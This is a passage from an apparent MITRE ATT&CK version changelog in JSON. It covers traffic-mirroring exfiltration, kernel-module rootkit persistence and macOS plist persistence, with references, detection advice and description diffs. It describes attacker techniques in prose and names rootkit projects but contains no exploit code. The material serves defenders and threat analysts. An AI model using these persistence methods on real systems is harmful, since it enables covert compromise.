\"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may leverage traffic mirroring in order to automt1Adversaries may leverage traffic mirroring in order to autom
>ate data exfiltration over compromised network infrastructur>ate data exfiltration over compromised network infrastructur
>e.  Traffic mirroring is a native feature for some network d>e.  Traffic mirroring is a native feature for some network d
>evices and used for network analysis and may be configured t>evices and used for network analysis and may be configured t
>o duplicate traffic and forward to one or more destinations >o duplicate traffic and forward to one or more destinations 
>for analysis by a network analyzer or other monitoring devic>for analysis by a network analyzer or other monitoring devic
>e. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Tr>e. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Tr
>affic Mirroring)  Adversaries may abuse traffic mirroring to>affic Mirroring)  Adversaries may abuse traffic mirroring to
> mirror or redirect network traffic through other network in> mirror or redirect network traffic through other network in
>frastructure they control. Malicious modifications to networ>frastructure they control. Malicious modifications to networ
>k devices to enable traffic redirection may be possible thro>k devices to enable traffic redirection may be possible thro
>ugh [ROMMONkit](https://attack.mitre.org/techniques/T1542/00>ugh [ROMMONkit](https://attack.mitre.org/techniques/T1542/00
>4) or [Patch System Image](https://attack.mitre.org/techniqu>4) or [Patch System Image](https://attack.mitre.org/techniqu
>es/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco >es/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco 
>Blog Legacy Device Attacks) Adversaries may use traffic dupl>Blog Legacy Device Attacks) Adversaries may use traffic dupl
>ication in conjunction with [Network Sniffing](https://attac>ication in conjunction with [Network Sniffing](https://attac
>k.mitre.org/techniques/T1040), [Input Capture](https://attac>k.mitre.org/techniques/T1040), [Input Capture](https://attac
>k.mitre.org/techniques/T1056), or [Man-in-the-Middle](https:>k.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](
>//attack.mitre.org/techniques/T1557) depending on the goals >https://attack.mitre.org/techniques/T1557) depending on the 
>and objectives of the adversary.>goals and objectives of the adversary.
", "changelog_mitigations": { "shared": [ "M1041: Encrypt Sensitive Information" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0029: Network Traffic (Network Connection Creation)", "DS0029: Network Traffic (Network Traffic Flow)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-01-24 17:42:23.339000+00:00", "modified": "2021-10-19 04:03:46.357000+00:00", "name": "Kernel Modules and Extensions", "description": "Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming)\u00a0\n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide)\u00a0Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands. Since macOS Catalina 10.15, kernel extensions have been deprecated on macOS systems.(Citation: Apple Kernel Extension Deprecation)\n\nAdversaries can use LKMs and kexts to covertly persist on a system and elevate privileges. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir) (Citation: Trend Micro Skidmap)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "persistence" }, { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1547/006", "external_id": "T1547.006" }, { "source_name": "Linux Kernel Programming", "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.", "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf" }, { "source_name": "Linux Kernel Module Programming Guide", "description": "Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018.", "url": "http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html" }, { "source_name": "iDefense Rootkit Overview", "description": "Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018.", "url": "http://www.megasecurity.org/papers/Rootkits.pdf" }, { "source_name": "Apple Kernel Extension Deprecation", "description": "Apple. (n.d.). Deprecated Kernel Extensions and System Extension Alternatives. Retrieved November 4, 2020.", "url": "https://developer.apple.com/support/kernel-extensions/" }, { "source_name": "Volatility Phalanx2", "description": "Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.", "url": "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html" }, { "source_name": "CrowdStrike Linux Rootkit", "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.", "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/" }, { "source_name": "GitHub Reptile", "description": "Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018.", "url": "https://github.com/f0rb1dd3n/Reptile" }, { "source_name": "GitHub Diamorphine", "description": "Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.", "url": "https://github.com/m0nad/Diamorphine" }, { "source_name": "RSAC 2015 San Francisco Patrick Wardle", "description": "Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018.", "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" }, { "source_name": "Synack Secure Kernel Extension Broken", "description": "Wardle, P. (2017, September 8). High Sierra\u2019s \u2018Secure Kernel Extension Loading\u2019 is Broken. Retrieved April 6, 2018.", "url": "https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/" }, { "source_name": "Securelist Ventir", "description": "Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018.", "url": "https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/" }, { "source_name": "Trend Micro Skidmap", "description": "Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/" }, { "source_name": "Linux Loadable Kernel Module Insert and Remove LKMs", "description": "Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018.", "url": "http://tldp.org/HOWTO/Module-HOWTO/x197.html" }, { "source_name": "Wikipedia Loadable Kernel Module", "description": "Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.", "url": "https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux" }, { "source_name": "User Approved Kernel Extension Pike\u2019s", "description": "Pikeralpha. (2017, August 29). User Approved Kernel Extension Loading\u2026. Retrieved September 23, 2021.", "url": "https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/" }, { "source_name": "Purves Kextpocalypse 2", "description": "Richard Purves. (2017, November 9). MDM and the Kextpocalypse . Retrieved September 23, 2021.", "url": "https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/" }, { "source_name": "Apple Developer Configuration Profile", "description": "Apple. (2019, May 3). Configuration Profile Reference. Retrieved September 23, 2021.", "url": "https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Wayne Silva, F-Secure Countercept", "Anastasios Pingios", "Jeremy Galloway", "Red Canary" ], "x_mitre_data_sources": [ "File: File Modification", "Command: Command Execution", "File: File Creation", "Kernel: Kernel Module Load" ], "x_mitre_detection": "Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko (\"kernel object\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\n\nAdversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly.\u00a0These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)\n\nOn macOS, monitor for execution of kextload commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the kext_policy table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, /var/db/SystemPolicyConfiguration/KextPolicy.(Citation: User Approved Kernel Extension Pike\u2019s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)\n", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "root" ], "x_mitre_platforms": [ "macOS", "Linux" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-19 04:03:46.357000+00:00\", \"old_value\": \"2021-03-30 00:59:53.716000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko (\\\"kernel object\\\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\\n\\nAdversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly.\\u00a0These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)\\n\\nOn macOS, monitor for execution of kextload commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the kext_policy table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, /var/db/SystemPolicyConfiguration/KextPolicy.(Citation: User Approved Kernel Extension Pike\\u2019s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)\\n\", \"old_value\": \"Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko (\\\"kernel object\\\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\\n\\nFor macOS, monitor for execution of kextload commands and correlate with other unknown or suspicious activity.\\n\\nAdversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly.\\u00a0These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n-Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko (\\\"kernel object\\\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\\n-\\n-For macOS, monitor for execution of kextload commands and correlate with other unknown or suspicious activity.\\n+Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko (\\\"kernel object\\\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\\n \\n Adversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly.\\u00a0These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)\\n+\\n+On macOS, monitor for execution of kextload commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the kext_policy table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, /var/db/SystemPolicyConfiguration/KextPolicy.(Citation: User Approved Kernel Extension Pike\\u2019s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['external_references'][15]\": {\"source_name\": \"User Approved Kernel Extension Pike\\u2019s\", \"description\": \"Pikeralpha. (2017, August 29). User Approved Kernel Extension Loading\\u2026. Retrieved September 23, 2021.\", \"url\": \"https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/\"}, \"root['external_references'][16]\": {\"source_name\": \"Purves Kextpocalypse 2\", \"description\": \"Richard Purves. (2017, November 9). MDM and the Kextpocalypse . Retrieved September 23, 2021.\", \"url\": \"https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/\"}, \"root['external_references'][17]\": {\"source_name\": \"Apple Developer Configuration Profile\", \"description\": \"Apple. (2019, May 3). Configuration Profile Reference. Retrieved September 23, 2021.\", \"url\": \"https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf\"}, \"root['x_mitre_data_sources'][0]\": \"File: File Modification\"}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "changelog_mitigations": { "shared": [ "M1026: Privileged Account Management", "M1038: Execution Prevention", "M1049: Antivirus/Antimalware" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0008: Kernel (Kernel Module Load)", "DS0017: Command (Command Execution)", "DS0022: File (File Creation)", "DS0022: File (File Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--6747daa2-3533-4e78-8fb8-446ebb86448a", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-01-24 20:02:59.149000+00:00", "modified": "2021-10-15 14:46:47.383000+00:00", "name": "Plist Modification", "description": "Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, Info.plist, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description) \n\nAdversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the DYLD_INSERT_LIBRARIES key combined with a path to a malicious dylib under the EnvironmentVariables key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the LSEnvironment key in the application's Info.plist file.(Citation: wardle artofmalware volume1)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "persistence" }, { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1547/011", "external_id": "T1547.011" }, { "source_name": "fileinfo plist file description", "description": "FileInfo.com team. (2019, November 26). .PLIST File Extension. Retrieved October 12, 2021.", "url": "https://fileinfo.com/extension/plist" }, { "source_name": "wardle artofmalware volume1", "description": "Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021.", "url": "https://taomm.org/vol1/pdfs.html" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Service: Service Creation", "Command: Command Execution", "File: File Modification", "Process: Process Creation" ], "x_mitre_detection": "Monitor for common command-line editors used to modify plist files located in auto-run locations, such as ~/LaunchAgents, ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm, and an application's Info.plist. \n\nMonitor for plist file modification immediately followed by code execution from ~/Library/Scripts and ~/Library/Preferences. Also, monitor for significant changes to any path pointers in a modified plist.\n\nIdentify new services executed from plist modified in the previous user's session. ", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User", "Administrator" ], "x_mitre_platforms": [ "macOS" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 14:46:47.383000+00:00\", \"old_value\": \"2021-03-30 00:51:59.629000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, Info.plist, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description) \\n\\nAdversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the DYLD_INSERT_LIBRARIES key combined with a path to a malicious dylib under the EnvironmentVariables key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the LSEnvironment key in the application's Info.plist file.(Citation: wardle artofmalware volume1)\", \"old_value\": \"Adversaries may modify plist files to run a program during system boot or user login. Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). \\n\\nAdversaries can modify plist files to execute their code as part of establishing persistence. plists may also be used to elevate privileges since they may execute in the context of another user.(Citation: Sofacy Komplex Trojan) \\n\\nA specific plist used for execution at login is com.apple.loginitems.plist.(Citation: Methods of Mac Malware Persistence) Applications under this plist run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them.(Citation: Adding Login Items) Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). Some of these applications can open visible dialogs to the user, but they don\\u2019t all have to since there is an option to \\\"hide\\\" the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method SMLoginItemSetEnabled can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1059/002) can do this as well. (Citation: Adding Login Items)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,3 @@\\n-Adversaries may modify plist files to run a program during system boot or user login. Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). \\n+Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, Info.plist, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description) \\n \\n-Adversaries can modify plist files to execute their code as part of establishing persistence. plists may also be used to elevate privileges since they may execute in the context of another user.(Citation: Sofacy Komplex Trojan) \\n-\\n-A specific plist used for execution at login is com.apple.loginitems.plist.(Citation: Methods of Mac Malware Persistence) Applications under this plist run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them.(Citation: Adding Login Items) Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). Some of these applications can open visible dialogs to the user, but they don\\u2019t all have to since there is an option to \\\"hide\\\" the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method SMLoginItemSetEnabled can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1059/002) can do this as well. (Citation: Adding Login Items)\\n+Adversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the DYLD_INSERT_LIBRARIES key combined with a path to a malicious dylib under the EnvironmentVariables key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the LSEnvironment key in the application's Info.plist file.(Citation: wardle artofmalware volume1)\"}, \"root['external_references'][1]['source_name']\": {\"new_value\": \"fileinfo plist file description\", \"old_value\": \"Sofacy Komplex Trojan\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"FileInfo.com team. (2019, November 26). .PLIST File Extension. Retrieved October 12, 2021.\", \"old_value\": \"Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://fileinfo.com/extension/plist\", \"old_value\": \"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/\"}, \"root['external_references'][2]['source_name']\": {\"new_value\": \"wardle artofmalware volume1\", \"old_value\": \"Methods of Mac Malware Persistence\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021.\", \"old_value\": \"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://taomm.org/vol1/pdfs.html\", \"old_value\": \"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Service: Service Creation\", \"old_value\": \"File: File Creation\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Monitor for common command-line editors used to modify plist files located in auto-run locations, such as ~/LaunchAgents, ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm, and an application's Info.plist. \\n\\nMonitor for plist file modification immediately followed by code execution from ~/Library/Scripts and ~/Library/Preferences. Also, monitor for significant changes to any path pointers in a modified plist.\\n\\nIdentify new services executed from plist modified in the previous user's session. \", \"old_value\": \"File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \\\"Knock Knock\\\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\\n\\nAll the login items created via shared file lists are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area (and the corresponding file locations) should be monitored and allowed for known good applications. Otherwise, Login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items)\\n\\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n-File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \\\"Knock Knock\\\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\\n+Monitor for common command-line editors used to modify plist files located in auto-run locations, such as ~/LaunchAgents, ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm, and an application's Info.plist. \\n \\n-All the login items created via shared file lists are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area (and the corresponding file locations) should be monitored and allowed for known good applications. Otherwise, Login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items)\\n+Monitor for plist file modification immediately followed by code execution from ~/Library/Scripts and ~/Library/Preferences. Also, monitor for significant changes to any path pointers in a modified plist.\\n \\n-Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.\\n+Identify new services executed from plist modified in the previous user's session. \"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][1]\": \"Command: Command Execution\"}, \"iterable_item_removed\": {\"root['external_references'][3]\": {\"source_name\": \"Adding Login Items\", \"description\": \"Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.\", \"url\": \"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html\"}, \"root['external_references'][4]\": {\"source_name\": \"Malware Persistence on OS X\", \"description\": \"Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.\", \"url\": \"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf\"}, \"root['external_references'][5]\": {\"source_name\": \"OSX.Dok Malware\", \"description\": \"Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.\", \"url\": \"https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may modify plist files to run a program during st1Adversaries can modify property list files (plist files) to 
>ystem boot or user login. Property list (plist) files contai>execute their code as part of establishing persistence. Plis
>n all of the information that macOS and OS X uses to configu>t files are used by macOS applications to store properties a
>re applications and services. These files are UTF-8 encoded >nd configuration settings for applications and services. App
>and formatted like XML documents via a series of keys surrou>lications use information plist files, <code>Info.plist</cod
>nded by < >. They detail when programs should execute, file >e>, to tell the operating system how to handle the applicati
>paths to the executables, program arguments, required OS per>on at runtime using structured metadata in the form of keys 
>missions, and many others. plists are located in certain loc>and values. Plist files are formatted in XML and based on Ap
>ations depending on their purpose such as <code>/Library/Pre>ple's Core Foundation DTD and can be saved in text or binary
>ferences</code> (which execute with elevated privileges) and> format.(Citation: fileinfo plist file description)   Advers
> <code>~/Library/Preferences</code> (which execute with a us>aries can modify paths to executed binaries, add command lin
>er's privileges).   Adversaries can modify plist files to ex>e arguments, and insert key/pair values to plist files in au
>ecute their code as part of establishing persistence. plists>to-run locations which execute upon user logon or system sta
> may also be used to elevate privileges since they may execu>rtup. Through modifying plist files in these locations, adve
>te in the context of another user.(Citation: Sofacy Komplex >rsaries can also execute a malicious dynamic library (dylib)
>Trojan)   A specific plist used for execution at login is <c> by adding a dictionary containing the <code>DYLD_INSERT_LIB
>ode>com.apple.loginitems.plist</code>.(Citation: Methods of >RARIES</code> key combined with a path to a malicious dylib 
>Mac Malware Persistence) Applications under this plist run u>under the <code>EnvironmentVariables</code> key in a plist f
>nder the logged in user's context, and will be started every>ile. Upon user logon, the plist is called for execution and 
> time the user logs in. Login items installed using the Serv>the malicious dylib is executed within the process space. Pe
>ice Management Framework are not visible in the System Prefe>rsistence can also be achieved by modifying the <code>LSEnvi
>rences and can only be removed by the application that creat>ronment</code> key in the application's <code>Info.plist</co
>ed them.(Citation: Adding Login Items) Users have direct con>de> file.(Citation: wardle artofmalware volume1)
>trol over login items installed using a shared file list whi 
>ch are also visible in System Preferences (Citation: Adding  
>Login Items). Some of these applications can open visible di 
>alogs to the user, but they don\u2019t all have to since there is 
